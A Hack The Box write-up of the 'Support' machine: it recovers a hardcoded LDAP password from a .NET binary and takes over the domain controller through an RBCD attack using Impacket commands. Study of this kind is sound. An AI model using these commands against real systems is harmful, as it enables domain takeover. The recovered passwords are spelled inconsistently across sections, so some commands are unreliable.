



RETIRED MACHINE

Support

 WINDOWS  EASY

RETIRED MACHINE

Support

Machine Writeup · Hack The Box

4.4 ★

RATING

Easy

DIFFICULTY

Windows

OS

12,841

USER OWNS

11,932

SYSTEM OWNS

20

POINTS

MACHINE SYNOPSIS

Support is an Easy Windows Active Directory machine featuring SMB Guest access, .NET binary reverse engineering, and Resource-Based Constrained Delegation (RBCD). The support-tools SMB share is publicly readable, containing UserInfo.exe.zip — a custom .NET LDAP query tool. Decompiling it with dnSpy reveals an XOR-encrypted password (key: armando, 0xDF constant) hardcoded in the Protected class. Decryption yields

ldap:nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz. LDAP enumeration with these credentials reveals the support user's info field contains Ironside47pleasure40Watchful. Evil-winrm grants a shell as support and the user flag. BloodHound reveals support has GenericAll over the DC machine object. RBCD attack: addcomputer adds marti\$, rbcd.py sets msDS-AllowedToActOnBehalfOfOtherIdentity, getST.py impersonates administrator via S4U2Proxy, and impacket-psexec delivers NT AUTHORITY\SYSTEM.

CONTENTS

01 Reconnaissance & SMB Guest Discovery

02 support-tools Share — UserInfo.exe Analysis

03 .NET Reverse Engineering — XOR Decrypt ldap Password

04 LDAP Enumeration — support User info Field

05 evil-winrm — support Shell & User Flag	06 BloodHound — GenericAll over DC Machine Object
07 RBCD Attack — addcomputer + S4U2Proxy → SYSTEM	08 Lessons Learned

MH

Martí Hervás
Penetration Tester · Hack The Box · 2026

01

Reconnaissance & SMB Guest Discovery

TTL 127 confirms Windows. Nmap reveals a standard Active Directory DC stack: DNS (53), Kerberos (88), LDAP (389/636/3268), SMB (445), and WinRM (5985). Domain is **support.htb**, hostname **DC**, Windows Server 2022 Build 20348. Clock-skew is minimal (1 second). Guest SMB authentication succeeds, revealing the **support-tools** share with READ access — described as 'support staff tools'. Kerbrute userenum finds three valid accounts: support, guest, administrator.

NMAP — DC STACK + WINRM

nmap — support.htb DC, Windows Server 2022 Build 20348

```
$ ping -c 1 10.129.230.181 # TTL 127 -> Windows

$ nmap -Pn -n --open -p- --min-rate 5000 10.129.230.181 -oG allPorts
[*] Open ports: 53,88,135,139,389,445,464,593,636,3268,5985,9389,...

53/tcp    open  domain    Simple DNS Plus
88/tcp    open  kerberos  Microsoft Windows Kerberos
389/tcp   open  ldap      (Domain: support.htb)
445/tcp   open  smb       signing:True SMBv1:None
5985/tcp  open  http      Microsoft HTTPAPI 2.0 <- WinRM
|_clock-skew: 1s <- no Kerberos sync needed
Service Info: Host: DC; OS: Windows Server 2022 Build 20348
```

SMB GUEST — support-tools SHARE

netexec Guest — support-tools share readable without credentials

```
$ nxc smb 10.129.230.181 -u 'guest' -p ''
SMB DC [+] support.htb\guest:

$ nxc smb 10.129.230.181 -u 'guest' -p '' --shares
SMB DC ADMIN$ Remote Admin
SMB DC C$ Default share
SMB DC IPC$ READ Remote IPC
SMB DC NETLOGON Logon server share
SMB DC support-tools READ support staff tools <- KEY!
SMB DC SYSVOL Logon server share
```

KERBRUTE — USER ENUMERATION

kerbrute — support, guest, administrator discovered

```
$ kerbrute userenum --dc 10.129.230.181 -d support.htb \
/usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt

[+] VALID USERNAME: support@support.htb
[+] VALID USERNAME: guest@support.htb
[+] VALID USERNAME: administrator@support.htb

# support user exists! -> target after credential extraction
# None of these are AS-REP roastable (no DONT_REQ_PREAUTH flag)
```

02

support-tools Share — UserInfo.exe.zip

The support-tools share contains 7 files: standard IT tools (7-Zip, Notepad++, PuTTY, Sysinternals, WinDirStat, Wireshark) plus one custom file: **UserInfo.exe.zip** — noticeably newer (Jul 20, 2022 vs May 28 for all others) and much smaller (277 KB). All common tools can be dismissed; the custom binary is the focus. Unzipping reveals **UserInfo.exe** (32-bit .NET assembly) and its dependency DLLs. Running `strings -e l` confirms LDAP-related strings: armando, LDAP://support.htb, support\ldap.

SMB — LIST support-tools + DOWNLOAD UserInfo.exe.zip

support-tools — UserInfo.exe.zip (custom binary, Jul 2022) downloaded

```
$ smbclient //10.129.230.181/support-tools -U 'guest%'
smb: \> dir
 7-ZipPortable_21.07.paf.exe      A  2880728  Sat May 28 2022
 npp.8.4.1.portable.x64.zip      A  5439245  Sat May 28 2022
 putty.exe                       A   1273576  Sat May 28 2022
 SysinternalsSuite.zip           A  48102161  Sat May 28 2022
 UserInfo.exe.zip                A    277499  Wed Jul 20 2022  <- CUSTOM!
 windirstat1_1_2_setup.exe       A     79171  Sat May 28 2022
 WiresharkPortable64_3.6.5.paf.exe A 44398000  Sat May 28 2022

smb: \> get UserInfo.exe.zip
getting file \UserInfo.exe.zip (272.4 KiloBytes/sec)

# UserInfo.exe = custom .NET binary -> decompile with dnSpy/ILSpy
```

STRINGS ANALYSIS — LDAP CLUES

strings — armando key + LDAP://support.htb + support\ldap visible

```
$ unzip UserInfo.exe.zip && strings -e l UserInfo.exe

armando          <- XOR decryption key!
LDAP://support.htb
support\ldap     <- LDAP bind username
sAMAccountName
givenName
pwdLastSet
lastLogon

# Confirms: binary queries LDAP with support\ldap credentials
# Password must be decrypted from the encrypted blob inside the binary
```

NOTE

Custom binaries in shared tools folders are prime targets for reverse engineering. The date discrepancy (Jul 20 vs May 28) is the first signal. Running 'strings' with the Unicode flag (-e l for little-endian UTF-16) extracts .NET string literals that reveal the application's purpose before even opening a decompiler — saving significant analysis time.

03

.NET Reverse Engineering — XOR Decrypt ldap Password

Opening `UserInfo.exe` in **dnSpy** (or `ILSpy/AvaloniaILSpy` on Linux) decompiles the .NET IL code back to readable C#. The `UserInfo.Services.Protected` class contains the `getPassword()` method: it Base64-decodes `enc_password`, then XORs each byte with the corresponding key byte (mod key length) and again with **0xDF (223)**. The key is hardcoded as **"armando"**. A Python script reproduces the decryption in seconds, yielding the LDAP service account password: **nvEfEK16^1aM4\$e7AcIUf8x\$tRWxPWO1%lmz**.

DNSPY DECOMPILE — Protected CLASS SOURCE CODE

dnSpy — Protected class: enc_password + armando key + XOR 0xDF

```
# Decompiled C# from UserInfo.Services.Protected class (dnSpy):

internal class Protected
{
    private static string enc_password =
        "0Nv32PTwgYjzg9/8j5TbmvpD3e7WhtWwyuPsy076/Y+U193E";
    private static byte[] key = Encoding.ASCII.GetBytes("armando");

    public static string getPassword()
    {
        byte[] array = Convert.FromBase64String(enc_password);
        for (int i = 0; i < array.Length; i++)
            array[i] = (byte)(array[i] ^ key[i % key.Length] ^ 0xDF);
        return Encoding.Default.GetString(array);
    }
}

# XOR with key[i % 7] then XOR with 223 (0xDF) -> trivially reversible
```

PYTHON DECRYPT SCRIPT — ldap ACCOUNT PASSWORD

Python XOR decrypt — nvEfEK16^1aM4\$e7AcIUf8x\$tRWxPWO1%lmz

```
#!/usr/bin/env python3
import base64

enc_password = "0Nv32PTwgYjzg9/8j5TbmvpD3e7WhtWwyuPsy076/Y+U193E"
key = b"armando"

enc_bytes = base64.b64decode(enc_password)
dec_bytes = bytearray()
for i, b in enumerate(enc_bytes):
    dec_bytes.append(b ^ key[i % len(key)] ^ 223)

password = dec_bytes.decode('utf-8')
print(f"Decrypted password: {password}")

# Output:
# Decrypted password: nvEfEK16^1aM4$e7AcIUf8x$tRWxPWO1%lmz

# LDAP credentials: support\ldap : nvEfEK16^1aM4$e7AcIUf8x$tRWxPWO1%lmz
```

NOTE

.NET assemblies compile to Intermediate Language (IL), not native code. IL can be decompiled back to near-perfect C# source with dnSpy or ILSpy. XOR encryption with a short key is trivially reversible — it provides obfuscation, not security. Any hardcoded credential in a binary, regardless of obfuscation, must be treated as exposed once the binary is accessible to an attacker.

04

LDAP Enumeration — support User info Field

With `supportldap:nvEfEK16^1aM4$e7AcIUf8x$trWxPW01%lmz`, LDAP is queried for all domain users. `ldapsearch` or `ldapdomaindump` enumerate 21 users including `smith.rosario`, `hernandez.stanley`, and others. The most valuable finding is in the **info attribute** of the **support** user account: an unusual string that looks exactly like a password: `Ironside47pleasure40Watchful`. This is the second instance of credentials stored in an AD attribute field (info vs Description in Cicada) — a common real-world misconfiguration.

LDAPSEARCH — ALL USERS + support INFO FIELD

ldapsearch — support user info field: Ironside47pleasure40Watchful

```
$ ldapsearch -x -H ldap://support.htb \
  -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AcIUf8x$trWxPW01%lmz' \
  -b 'CN=Users,DC=support,DC=htb' '(objectClass=person)'

# Found 21 users including: smith.rosario, hernandez.stanley,
#   wilson.shelby, anderson.damian, thomas.raphael, etc.

# support user entry (key field):
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: user
sAMAccountName: support
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
info: Ironside47pleasure40Watchful <- PASSWORD IN INFO FIELD!
```

VALIDATE support CREDENTIALS — WINRM ACCESS

netexec — support:Ironside47pleasure40Watchful WinRM Pwn3d!

```
# Test via SMB:
$ nxc smb 10.129.230.181 -u support -p 'Ironside47pleasure40Watchful'
SMB  DC  [+] support.htb\support:Ironside47pleasure40Watchful

# Test WinRM:
$ nxc winrm 10.129.230.181 -u support -p 'Ironside47pleasure40Watchful'
WINRM  DC  [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)

# support is in Remote Management Users -> WinRM access!
```

05

evil-winrm — support Shell & User Flag

Evil-winrm establishes an interactive session as **support\support**. The user flag is on the Desktop. Privilege enumeration shows standard user rights — no sensitive privileges. The path to root requires Active Directory enumeration via BloodHound to find the escalation vector.

EVIL-WINRM — SESSION + USER FLAG

evil-winrm — support shell, user flag obtained

```
$ evil-winrm -i 10.129.230.181 -u 'support' -p 'Ironsides47pleasure40Watchful'

*Evil-WinRM* PS C:\Users\support\Documents> whoami
support\support

*Evil-WinRM* PS C:\Users\support\desktop> type user.txt
61d0cacfecb66ce8c1de6984*****
```

BLOODHOUND — DATA COLLECTION

bloodhound-python — AD data collected, support -> GenericAll -> DC\$

```
$ bloodhound-python -c All -ns 10.129.230.181 -d support.htb \
  --zip -u support -p 'Ironsides47pleasure40Watchful'
[*] Found AD domain: support.htb
[*] Found 21 users, 53 groups, 1 computers
[*] Compressing output into 20260602_bloodhound.zip

# Load zip into BloodHound -> analyze support user outbound rights
# -> support is member of Shared Support Accounts
# -> Shared Support Accounts has GenericAll over DC$
```

06

BloodHound — GenericAll over DC Machine Object

BloodHound analysis reveals the critical escalation path: **support is a member of Shared Support Accounts**, and **Shared Support Accounts has GenericAll over DC\$** (the domain controller machine account). GenericAll on a computer object enables **Resource-Based Constrained Delegation (RBCD)**: by modifying the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of DC\$, any controlled computer account can impersonate any domain user (including Administrator) when requesting service tickets for the DC. The attack requires adding a new machine account (MachineAccountQuota > 0).

BLOODHOUND — ATTACK PATH VISUALIZATION

BloodHound — support -> GenericAll -> DC\$ -> RBCD attack path

```

# BloodHound shows:

support
  --[MemberOf]--> Shared Support Accounts
    --[GenericAll]--> DC.support.htb (machine object)

# GenericAll on computer object -> can write msDS-AllowedToActOnBehalfOfOtherIdentity
# -> RBCD Attack (Resource-Based Constrained Delegation)

# Attack steps:
# 1. Add fake computer account (marti$) to domain
# 2. Set marti$ in DC's RBCD attribute
# 3. getST.py S4U2Proxy: marti$ requests ticket as administrator for DC$
# 4. Use ccache ticket -> psexec -> NT AUTHORITY\SYSTEM

```

NOTE

GenericAll on a computer object in Active Directory grants write access to ALL attributes including msDS-AllowedToActOnBehalfOfOtherIdentity — the RBCD attribute. This enables an attacker who controls any computer account to impersonate privileged users on the target system via Kerberos S4U2Proxy. GenericAll on computer objects is as dangerous as GenericAll on user accounts.

07

RBCD Attack — addcomputer + S4U2Proxy → SYSTEM

The RBCD attack executes in four steps using Impacket tools: (1) **addcomputer.py** adds a new machine account **marti\$** (MachineAccountQuota allows any domain user to add up to 10 computers). (2) **rbcd.py** writes **marti\$** into DC's msDS-AllowedToActOnBehalfOfOtherIdentity attribute. (3) **getST.py** performs S4U2Self + S4U2Proxy, requesting a service ticket for cifs/DC.support.htb impersonating **administrator**. (4) **impacket-psexec** with the Kerberos ccache delivers **NT AUTHORITY\SYSTEM** and the root flag.

STEP 1 — ADDCOMPUTER: CREATE MACHINE ACCOUNT **marti\$**

addcomputer.py — marti\$ machine account created in domain

```

$ python3 addcomputer.py \
  -computer-name 'marti$' -computer-pass 'Udl1234' \
  -dc-ip 10.129.230.181 support.htb/support:Ironside47pleasure40Watchful

[*] Successfully added machine account marti$ with password Udl1234.

# marti$ is now a valid Domain Computers member
# MachineAccountQuota (default 10) allows any domain user to add computers

```


STEP 2 — RBCD.PY: SET msDS-AllowedToActOnBehalfOfOtherIdentity

rbcd.py — marti\$ delegation rights set on DC\$ via GenericAll

```
$ python3 rbcd.py -f marti -t DC \
  -dc-ip 10.129.230.181 support.htb\\support:Ironside47pleasure40Watchful

[*] Starting Resource Based Constrained Delegation Attack against DC$
[*] Initializing LDAP connection to 10.129.230.181
[*] LDAP bind OK
[*] Writing SECURITY_DESCRIPTOR related to (fake) computer `marti`
  into msDS-AllowedToActOnBehalfOfOtherIdentity of target computer `DC`
[*] Delegation rights modified successfully!
[*] marti$ can now impersonate users on DC$ via S4U2Proxy
```

STEP 3 — GETST.PY: S4U2PROXY TICKET AS ADMINISTRATOR

getST.py S4U2Proxy — administrator@CIFS/DC ticket obtained

```
$ python3 getST.py -spn cifs/DC.support.htb \
  -impersonate administrator -dc-ip 10.129.230.181 \
  support.htb/marti$: 'Udl1234'

[*] Getting TGT for user (marti$)
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@cifs_DC.support.htb@SUPPORT.HTB.ccache

$ export KRB5CCNAME=administrator@cifs_DC.support.htb@SUPPORT.HTB.ccache
```

STEP 4 — PSEXEC: NT AUTHORITY\SYSTEM + ROOT FLAG

psexec Kerberos — SYSTEM shell, root flag. Full compromise!

```
$ impacket-psexec -k -no-pass support.htb/administrator@DC.support.htb

[*] Requesting shares on DC.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file ebqUaVKd.exe
[*] Creating service aokk on DC.support.htb.....
[*] Starting service aokk.....
Microsoft Windows [Version 10.0.20348.859]
C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\administrator\Desktop\root.txt
a9b439270305dee357578aeb*****

# MACHINE COMPROMISED — NT AUTHORITY\SYSTEM via RBCD
```

NOTE

RBCD (Resource-Based Constrained Delegation) is a Kerberos S4U attack. S4U2Self requests a service ticket for any user TO the attacker's machine, then S4U2Proxy uses that ticket to request access to the target service (cifs/DC) impersonating the chosen user. The DC trusts this because marti\$ is listed in DC's msDS-AllowedToActOnBehalfOfOtherIdentity — a legitimate Kerberos delegation mechanism abused via the GenericAll write permission.

08**Lessons Learned****01****Anonymous SMB Shares on DCs Enable Reconnaissance and Binary Exfiltration**

The support-tools share was readable without credentials, exposing a custom .NET binary containing hardcoded LDAP service account credentials. SMB shares on domain controllers must require authenticated access. Guest and null session access should be disabled via Group Policy. Any custom tool deployed on a network share must be treated as potentially accessible to attackers and must not contain sensitive credentials.

02**Hardcoded Credentials in .NET Binaries Are Trivially Recoverable**

UserInfo.exe used XOR encryption with a 7-byte key (armando) and a constant (0xDF), providing no real security. .NET assemblies compile to IL, not native code, and are fully decompilable to C# source with free tools like dnSpy. Credentials must never be hardcoded in application binaries. Use secure credential stores (Windows Credential Manager, Azure Key Vault, HashiCorp Vault) and retrieve them at runtime via authenticated calls.

03**AD Info/Description Fields Leak Credentials to All Domain Users**

The support user's AD info field contained a plaintext password — readable by any authenticated LDAP user. This mirrors the david.orelous Description field case in Cicada. Run regular LDAP audits: `ldapsearch -b DC=support,DC=htb '(objectClass=user)' info description` to find all accounts with potentially sensitive data in these fields.

04**GenericAll on Computer Objects Enables RBCD Without Requiring Other Privileges**

GenericAll on DC\$ allowed writing msDS-AllowedToActOnBehalfOfOtherIdentity, enabling full impersonation of domain administrators via S4U2Proxy. This attack requires only MachineAccountQuota > 0 (default: 10). Audit AD ACLs regularly, restrict GenericAll/GenericWrite/WriteDACL on computer objects, and set MachineAccountQuota to 0 to prevent non-admin users from adding machine accounts to the domain.

05**RBCD Is a Powerful Kerberos Attack Path Enabled by Write Access to Computer Objects**

Resource-Based Constrained Delegation abuses legitimate Kerberos S4U extensions to impersonate privileged users. The attack is stealthy — it leaves standard Kerberos events in logs with no obvious anomaly. Monitor for unusual writes to msDS-AllowedToActOnBehalfOfOtherIdentity (Event ID 4662 with property msDS-AllowedToActOnBehalfOfOtherIdentity) and restrict who can modify computer object attributes in Active Directory.